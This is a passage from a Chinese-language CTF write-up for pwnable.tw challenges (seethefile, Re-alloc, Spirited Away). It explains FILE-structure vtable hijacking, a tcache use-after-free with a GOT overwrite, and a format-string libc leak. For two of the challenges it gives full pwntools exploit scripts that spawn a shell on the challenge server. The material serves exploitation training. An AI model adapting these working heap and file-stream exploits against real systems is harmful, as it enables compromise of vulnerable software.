FILE = 0x0804B284 _IO_FILE_SIZE = 0x94 payload += p32(FILE) payload += (p32(0xffffdfff) + b';/bin/sh\x00').ljust(_IO_FILE_SIZE, b'\x00') ``` 從 `0x0804B284` 開始,[由於在 libc2.23 版本下,32 位元的 vtable offset 為 0x94 (64 位元為 0xd8)](https://ctf-wiki.org/pwn/linux/user-mode/io-file/introduction/),因此在 `_flag` 後加上我們的 `/bin/sh` 再補到 0x94 的大小 隨後再將 vtable 覆蓋為 system ```python= payload += p32(FILE + _IO_FILE_SIZE + 0x4) payload += p32(system_addr) * 100 ``` ### Write up ```python= from pwn import * context(arch='amd64', os='linux', log_level='debug') elf = ELF('./seethefile') libc = ELF('./libc_32.so.6') r = remote('chall.pwnable.tw', 10200) def openfile(name): r.sendlineafter('choice :', '1') r.sendlineafter('see :', name) def readfile(): r.sendlineafter('choice :', '2') def writefile(): r.sendlineafter('choice :', '3') def printname(name): r.sendlineafter('choice :', '5') r.sendlineafter('name :', name) openfile("/proc/self/maps") readfile() readfile() writefile() r.recvuntil("\n") libc.address = int(r.recv(8), 16) # info(hex(libc.address)) system_addr = libc.sym['system'] # create fake file FILE = 0x0804B284 _IO_FILE_SIZE = 0x94 payload = b'a' * 0x20 payload += p32(FILE) payload += (p32(0xffffdfff) + b';/bin/sh\x00').ljust(_IO_FILE_SIZE, b'\x00') # vtable pointer payload += p32(FILE + _IO_FILE_SIZE + 0x4) payload += p32(system_addr) * 100 printname(payload) r.interactive() # cd /home/seethefile # echo "Give me the flag" | ./get_flag # FLAG{F1l3_Str34m_is_4w3s0m3} ``` ## Re-alloc ### Recon realloc,heap 題型,通常是 realloc new_size 大小為 0 ,相當於 free(ptr) 但沒有清空 heap 所造成的 UAF 問題 ![](https://i.imgur.com/zeCcKZf.png) 由於前面提到可能的問題,對比一下 reallocate 與 rfree 的 function: reallocate | rfree :-------------------------:|:-------------------------: ![](https://i.imgur.com/SzllsxO.png)|![](https://i.imgur.com/FWeHHai.png) 一個沒有有將 ptr 清空,一個有 因此知道 reallocate 存在 UAF 的漏洞 不同於前面的 tcache tear,這題是有 [double free 的檢查](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/?h=tcache#0x04-tcache-check) ![](https://i.imgur.com/nDiWNnT.png) 但是,如果 alloc 分配,realloc size=0 free 掉,再使用 realloc 重新寫 chunk,並將 atoll@got 放入,因為 realloc 變成虛擬的空間,因此可以 double free。 ```python= # tcache[0x20] => atoll_got -> Use for leaking libc alloc(0, 0x20, 'A'*0x20) # idx0 realloc(0, 0, '') # idx0 => free realloc(0, 0x30, p64(elf.got['atoll'])) # idx0(free) -> overwrite alloc(1, 0x20, 'B'*0x20) # idx1 addr:idx0 rfree(0) # realloc_free idx0 => free realloc(1, 0x40, 'C'*0x40) # idx1(free) -> overwrite rfree(1) # free # tcache[0x10] => atoll_got -> Use for system@plt alloc(0, 0x10, 'A'*0x10) realloc(0, 0, 'A'*0x20) realloc(0, 0x50, p64(elf.got['atoll'])) alloc(1, 0x10, 'A'*0x10) rfree(0) realloc(1, 0x60, 'A'*0x60) rfree(1) alloc(0, 0x20, p64(elf.plt['printf'])) # idx2 overwrite ``` 當再次分配到原先 free 掉的那塊時,就可以利用 atoll@got 寫入 plt,並使用 print@plt 來找出 libc 的位置 這裡要利用[格式化字符串漏洞](https://wiki.mrskye.cn/Pwn/fmtstr/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80%E5%88%A9%E7%94%A8/#_4) :::info 上面已经实现依次获取栈中的每个参数,通过像下面这样构造,直接获取指定为位置的参数: 第n个参数 %n$p 只要知道目标数据在栈上的偏移 n ,就能够获取。 ::: 由於蓋掉的 atoll 位在 stack 上偏移為 6 因此藉此找出 libc 的 base address ```python= r.sendlineafter('Your choice: ', str(1)) r.sendlineafter('Index:', '%6$p') stdout_addr = int(r.recv(14), 16) libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_'] ``` ### Write up ```python= from pwn import * context(arch='amd64', os='linux', log_level='debug') libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so') elf = ELF('./re-alloc') r = remote('chall.pwnable.tw', 10106) def alloc(index, size, data): r.sendlineafter('Your choice: ', '1') r.sendlineafter('Index:', str(index)) r.sendlineafter('Size:', str(size)) r.recvuntil('Data:') r.send(data) def realloc(index, size, data): r.sendlineafter('Your choice: ', '2') r.sendlineafter('Index:', str(index)) r.sendlineafter('Size:', str(size)) if size != 0: r.recvuntil('Data:') r.send(data) def rfree(index): r.sendlineafter('Your choice: ', '3') r.sendlineafter('Index:', str(index)) # tcache[0x20] => atoll_got -> Use for leaking libc alloc(0, 0x20, 'A'*0x20) # idx0 realloc(0, 0, '') # idx0 => free realloc(0, 0x30, p64(elf.got['atoll'])) # idx0(free) -> overwrite alloc(1, 0x20, 'B'*0x20) # idx1 addr:idx0 rfree(0) # realloc_free idx0 => free realloc(1, 0x40, 'C'*0x40) # idx1(free) -> overwrite rfree(1) # free # tcache[0x10] => atoll_got -> Use for system@plt alloc(0, 0x10, 'A'*0x10) realloc(0, 0, 'A'*0x20) realloc(0, 0x50, p64(elf.got['atoll'])) alloc(1, 0x10, 'A'*0x10) rfree(0) realloc(1, 0x60, 'A'*0x60) rfree(1) alloc(0, 0x20, p64(elf.plt['printf'])) # idx2 overwrite r.sendlineafter('Your choice: ', str(1)) r.sendlineafter('Index:', '%6$p') stdout_addr = int(r.recv(14), 16) libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_'] r.sendlineafter('choice: ', '1') r.recvuntil(":") r.sendline('a'+'\x00') r.recvuntil(":") r.send('a'*15+'\x00') r.recvuntil("Data:") r.send(p64(libc.sym['system'])) r.sendlineafter('choice: ', '3') r.recvuntil("Index:") r.sendline("/bin/sh\x00") r.interactive() ``` ## Spirited Away [300 pts] ### Recon ![](https://i.imgur.com/N9jGNWO.png) 嘗試一下功能 ![](https://i.imgur.com/1DK0P1G.png) 上面測試發現對輸入限制不嚴謹,reason 會印出其他字元 查看一下程式碼,發現應該是一題既有 stack overflow 也有 heap overflow 的題目: ![](https://i.imgur.com/1krwZRW.png) ![](https://i.imgur.com/mxzuFE8.png) 此外這裡有一個比較不一樣的 `sprintf` ```cpp= int sprintf(char * _s, const char* _format, ...) ``` `sprintf` 功能與 `print` 類似,不過他是將 char 格式化輸出到第一個參數所指定的 char array 中。由於是輸出到 char array,所以存在當 array 大小不足或傳逆非法參數,也就是格式化漏洞,導致後面的 overflow 並達成任意位置讀寫、破壞 stack 或修改 return address 因此建議使用 `snprintf` 來代替 Leaking libc 使用 pwngdb 測試,並將 name 塞到長度 60,reason 長度塞到 80 搭配 gdb debug: ![](https://i.imgur.com/5DLA4pD.png) 將 reason 後面的位址轉換一下: ``` [*] leak1 : 0xffef3d58 [*] leak2 : 0x8048908 [*] leak3 : 0xf777cd60 [*] leak4 : 0x8048260 [*] leak5 : 0x804891b ``` 通常 0xff 為 stack,0xf7 為 libc 位置 使用 pwngdb 看看: `esp 0xffffcb50 —▸ 0xf7f99da0 (_IO_2_1_stdout_) ◂— 0xfbad2a84` 由於我們是利用 fflush 將其位置印出來,因此計算 libc based address: `libc.address = leak3 - libc.sym['_IO_2_1_stdout_']` 而一個 chunk 基本大小為 0x70,因此計算 stack address: `reason = leak1-0x70` ### Write up